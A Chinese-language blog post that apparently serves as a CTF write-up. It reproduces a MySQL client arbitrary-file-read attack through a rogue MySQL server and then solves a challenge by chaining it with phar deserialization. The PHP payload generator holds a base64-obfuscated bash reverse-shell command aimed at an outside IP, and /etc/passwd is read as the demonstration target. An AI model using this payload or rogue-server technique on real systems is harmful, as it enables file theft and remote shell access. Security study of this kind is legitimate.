Mysql Client 任意文件读取

漏洞概述

在客户端允许远程登陆服务器,并且允许LOAD DATA LOCAL INFILE的情况下,伪造mysql服务器来读取客户端的文件。关于原理,网上有很多文章分析,这里不再复述。写本篇博客主要是想记录下复现的过程,以及相关的CTF题。

load data infile语法分析

mysql的loda data infile语句主要用于读取一个文件的内容并且存入一个表中。通常有两种用法:

load data infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
load data local infile "/etc/passwd" into table TestTable fields terminated by '分隔符';

上面两条语句的区别就是,load data infile是将服务器上的文件(此处指/etc/passwd)插入表中,load data local infile是将客户端的文件插入表中

https://www.jianshu.com/p/3d26180268d7
https://paper.seebug.org/1112/#_9

简单复现

https://github.com/allyshka/Rogue-MySql-Server

利用github上的python2脚本,在阿里云服务器上搭建一个恶意的mysql服务器.可以在脚本里改监听的端口和要读取的文件。然后在kali上连接远程mysql。

mysql -h 121.196.193.160 -u 1 --enable-local-infile -p -P 8089 

用户名和密码可以随便输入。

查看mysql.log,可以看到读取到了/etc/passwd文件

高校战“疫”网络安全分享赛webct

在本地搭建环境复现。

题目有两个功能,第一个是测试mysql服务器是否能连接,再就是将图片上传到本地。

function deal()
{
    $extensionarr=array("gif","jpeg","jpg","png");
    $extension = pathinfo($this->file->uploadfile['name'], PATHINFO_EXTENSION);
    $type = $this->file->uploadfile['type'];
    //echo "type: ".$type;
    $filetypearr=array("image/jpeg","image/png","image/gif");
    if(in_array($extension,$extensionarr)&in_array($type,$filetypearr)&$this->file->uploadfile["size"]<204800)
    {
        if ($_FILES["file"]["error"] > 0) {
            echo "错误:: " .$this->file->uploadfile["error"] . "<br>";
            die();
        }else{
            if(!is_dir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/")){
                mkdir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/");
            }
            $upload_dir="./uploads/".md5($_SERVER['REMOTE_ADDR'])."/";
            move_uploaded_file($this->file->uploadfile["tmp_name"],$upload_dir.md5($this->file->uploadfile['name']).".".$extension);
            echo "上传成功"."<br>";
        }
    }
    else{
        echo "不被允许的文件类型"."<br>";
    }

只允许上传图片,白名单,没办法绕过。config.php中有很多类和魔术办法,猜测是要进行反序列化操作,而且是利用phar来反序列化。

function testquery()
{
    $m = new mysqli($this->ip,$this->user,$this->password);
    if($m->connect_error){
        die($m->connect_error);
    }
    $m->options($this->option,1);
    $result=$m->query('select 1;');
    if($result->num_rows>0)
    {
        echo '测试完毕,数据库服务器处于开启状态';
    }
    else{
        echo '测试完毕,数据库服务器未开启';
    }
}

观察后台测试数据库连接的代码,发现option可控,存在mysql客户端任意读取文件漏洞。在mysqli中,mysql的读文件是通过php的函数实现的,也同样调用了php_stream_open_wrapper_ex函数,也就是说,我们同样可以通过读取phar文件来触发反序列化。

接下来就是寻找pop链,然后上传phar文件,再触发反序列化。

<?php
class Fileupload
{
public $file;
}
class Listfile
{
    public $file;
}
$a=new Listfile();
$a->file=";`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyMS4xOTYuMTkzLjE2MC84MDgwIDA+JjEK | base64 -d | bash`";
$b=new Fileupload();
$b->file=$a;
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");

    $phar->setMetadata($b); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

生成phar文件,改后缀为jpg,上传到服务器。然后在我们自己的vps上启动恶意的mysql服务器,并将要读取的文件写为phar://上传的文件。然后在测试mysql的页面填写ip和端口,用户名和密码随便写,option填MYSQLI_OPT_LOCAL_INFILE或8。监听端口,点击提交。

成功反弹shell

题目源码

https://github.com/ctfer-Stao/ctf/tree/master/%E9%AB%98%E6%A0%A1%E6%88%98%E2%80%9C%E7%96%AB%E2%80%9D%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%88%86%E4%BA%AB%E8%B5%9Bwebct

留下评论

粤ICP备20010650号